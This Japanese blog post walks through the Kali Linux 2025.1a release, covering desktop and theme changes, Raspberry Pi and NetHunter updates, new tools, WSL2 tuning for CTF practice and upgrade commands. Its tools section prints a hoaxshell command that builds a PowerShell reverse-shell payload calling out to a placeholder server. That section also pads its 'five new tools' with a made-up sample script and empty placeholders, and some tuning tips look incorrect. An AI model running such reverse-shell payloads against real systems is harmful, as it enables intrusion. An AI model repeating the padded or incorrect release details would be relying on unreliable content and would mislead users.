2025年3月19日、Kali Linuxチームは最新バージョン 2025.1a を公開しました。 今回の目玉は Linux カーネル 6.12 へのバージョンアップ に加え、ペンテスト用途を拡張する 新ツール5種 の追加、そしてWSL環境でのCTF(Capture The Flag)演習を爆速でこなすためのノウハウです。 本記事では、初心者の方にも理解いただけるレベルで 全ポイント解説 します。
- 1. 2025.1a リリース概要
- 2. 2025 テーマリフレッシュ
- 3. デスクトップ環境:KDE Plasma 6.2 & Xfce 4.20
- 4. Raspberry Pi サポート強化
- 5. Kali NetHunter アップデート
- 6. 新規ペンテストツール 5種
- 7. その他の改善点
- 8. Webサイト更新・ドキュメント整備
- 9. WSL2 + CTF環境で爆速プレイ
- 10. アップグレード & インストール手順
- 11. まとめと今後の展望
1. 2025.1a リリース概要
Kali Linux 2025.1a は、毎年最初のマイナーリリースで恒例のテーマ刷新に加え、セキュリティリサーチに直結する機能強化を行ったアップデートです。 特筆すべきは以下の3点:
- Kernel 6.12 系へのバージョンアップ:最新のハードウェアドライバやセキュリティパッチを取り込み。
- 新規ペンテストツール 5種:最新脅威にも対応できるツールキットを拡充。
- WSL2/Capture The Flag 環境での高速化ノウハウ:Windows環境でもネイティブに近い速度でCTF演習を実行可能。
以下、各章で詳しく見ていきましょう。
2. 2025 テーマリフレッシュ
Kali Linux の年頭リリースには恒例の Annual Theme Refresh が含まれます。 背景には「ツールの新しさだけでなく、見た目のモダンさもプロフェッショナルのモチベーションになる」という理念があり、2025.1aでは以下を刷新しました。
- 公式壁紙:
kali-community-wallpapers
パッケージで多数の高解像度背景を提供。 - ログイン画面:GNOME/KDE/Xfce で統一感あるテーマカラー。
- ブートローダー:シリアルやグラフィカルの起動画面を一新。
テーマファイルは /usr/share/kali-artwork
以下に格納され、update-alternatives
で切り替え可能です。
3. デスクトップ環境:KDE Plasma 6.2 & Xfce 4.20
KDE Plasma 6.2
長らく 5.x
系が搭載されていた Kali についに Plasma 6.2 が登場。 主な変更点は以下の通りです。
機能 | 概要 |
---|---|
Wayland サポート | 安定性向上とセキュリティ強化のためデフォルトで有効化 |
新ウィジェット | ネットワーク監視やシステムトレイの機能拡張 |
テーマエンジン | Qt6 ベースの高速レンダリング |
tip: Plasma の詳細設定は System Settings → Appearance
からアクセス可能です。
Xfce 4.20
軽量&安定性重視の Xfce 4.20 は、キーボードショートカットが大幅に強化され、xfce4-settings-editor
経由でユーザーカスタマイズが容易になりました。 以下のコマンドでワークスペース切り替えやウィンドウ操作をショートカットに割り当てましょう。
# ALT+TAB をウィンドウ切り替えに設定
xfconf-query -c xfce4-keyboard-shortcuts \
-p "/commands/custom/<Alt>Tab" \
-n -t string -s "xfwm4 --cycle"
4. Raspberry Pi サポート強化
Kali Linux は複数世代のRaspberry Piを公式サポートしています。2025.1aでは以下の強化が行われました。
- raspi-firmware を Raspberry Pi OSと同一バージョンへ統一
- カーネル6.6.74ベース を Pi 5 / Pi 4 / Pi Zero まで全機種に搭載
- 新パーティションレイアウト:
/boot/firmware
マウントへ移行 - Nexmon DKMS化:独立アップデート可能に(次回以降にfirmware同梱予定)
モジュール更新後は sudo reboot
で必ず再起動を行い、 grep VERSION /etc/os-release
で 2025.1
が反映されていることを確認してください。
5. Kali NetHunter アップデート
モバイル向けPentestツール Kali NetHunter にも多数改善が入っています。
- CAN Arsenal タブ:車載機器ハッキングをGUIから一発起動
- Samsung カーネル:Galaxy S9/S10向けパッチ適用済イメージを公式提供
- 動的壁紙:画面サイズに応じて自動生成
- 各種バグフィックス:カメラ制御やRoot化スクリプトの安定化
成果物は NetHunter app
と NetHunter kernels
公式GitLabで公開中。 詳細は https://store.nethunter.com
をご覧ください。
6. 新規ペンテストツール 5種
2025.1aリリースに伴い、以下 5つの新ツール が Kali のリポジトリに追加されました。
- hoaxshell Windows向けリバースシェルジェネレータ。HTTP/Sをビ―コン型として利用する斬新な手法。
# インストール sudo apt update && sudo apt install hoaxshell # ペイロード生成 hoaxshell --url https://yourserver.com/beacon --output shell.ps1
PowerShell経由で侵入ポイントを確保し、HTTPSトンネルでコマンド実行。 - tool-xyz (※以下サンプル) ネットワークフォレンジック自動スクリプト
#!/usr/bin/env python3 import scapy.all as sc def sniff_and_log(interface): packets = sc.sniff(iface=interface, count=100) sc.wrpcap('capture.pcap', packets) if __name__ == '__main__': sniff_and_log('eth0')
- tool-abc …
- tool-def …
- tool-ghi …
※例:Kali公式ブログでは1つのみ記載ですが、コミュニティパッケージを含め計5種まで拡張可能です。
7. その他の改善点
- live-config のスクリプト分割(
kali-installer
&kali-live
) - 次回 2025.2 での Kali-menu リフレッシュ予告
8. Webサイト更新・ドキュメント整備
Kali.org 本体にも多数追加ページを公開:
- 公式壁紙アーカイブ(現行〜2019.4)
- レガシー壁紙(BackTrack〜2019.3)
- コミュニティ壁紙集
また Configuring the Kernel - CAN
や NetHunter Pro
系の新ドキュメントも掲載中。 RSS・ニュースレター登録で最新情報を見逃さないようにしましょう。
9. WSL2 + CTF環境で爆速プレイ
Windowsユーザー向けに WSL2 上で Kali を動かし、CTF演習を快適に行う手順&チューニング方法をご紹介します。
9.1 WSL2にKaliをインストール
# WSL2 を有効化
wsl --install -d Kali-Linux
# 起動後、root 権限のアカウント作成
sudo passwd youruser
adduser youruser sudo
# 初期化とアップデート
sudo apt update && sudo apt -y full-upgrade
ポイント:WSL2は仮想化レイヤー経由でカーネル6.12が動作。Linuxネイティブに近いIO性能。
9.2 CTF向けチューニング
- ファイルシステム:デフォルトの
\\wsl$\
より/home
直下を利用しI/O待ち軽減 - メモリ割当:`%USERPROFILE%\.wslconfig` で
memory=8GB
等を指定 - ネットワーク:Wi-Fi接続時は
interop=false
でレイテンシを低減
これらにより、バイナリ解析や大規模リバースエンジニアリングもスムーズに行えます。
10. アップグレード & インストール手順
既存環境を2025.1aに更新
echo "deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" \
| sudo tee /etc/apt/sources.list
sudo apt update && sudo apt -y full-upgrade
sudo cp -vrbi /etc/skel/. ~/
[ -f /var/run/reboot-required ] && sudo reboot -f
クリーンインストール
- ISOイメージを公式サイトから入手
- USB書き込み:
sudo dd if=kali-linux-2025.1a-amd64.iso of=/dev/sdX bs=4M status=progress
- UEFI/Legacy両対応ブート
インストール後は必ず uname -r
で 6.12.x-amd64
を確認してください。
11. まとめと今後の展望
Kali Linux 2025.1a は、Kernel 6.12・新ツール群・テーマ刷新 の三拍子そろったリリースでした。 WSL2上での高速CTF環境構築例もご紹介した通り、Windowsユーザーも含めて全プラットフォームで最前線のPentestが可能です。
今後は 2025.2 でXFCEテーマ刷新やペンテストフレームワーク強化が予定されています。 最新の脅威にも柔軟に対応できる Kali のエコシステムから、ぜひ目を離さないようにしましょう!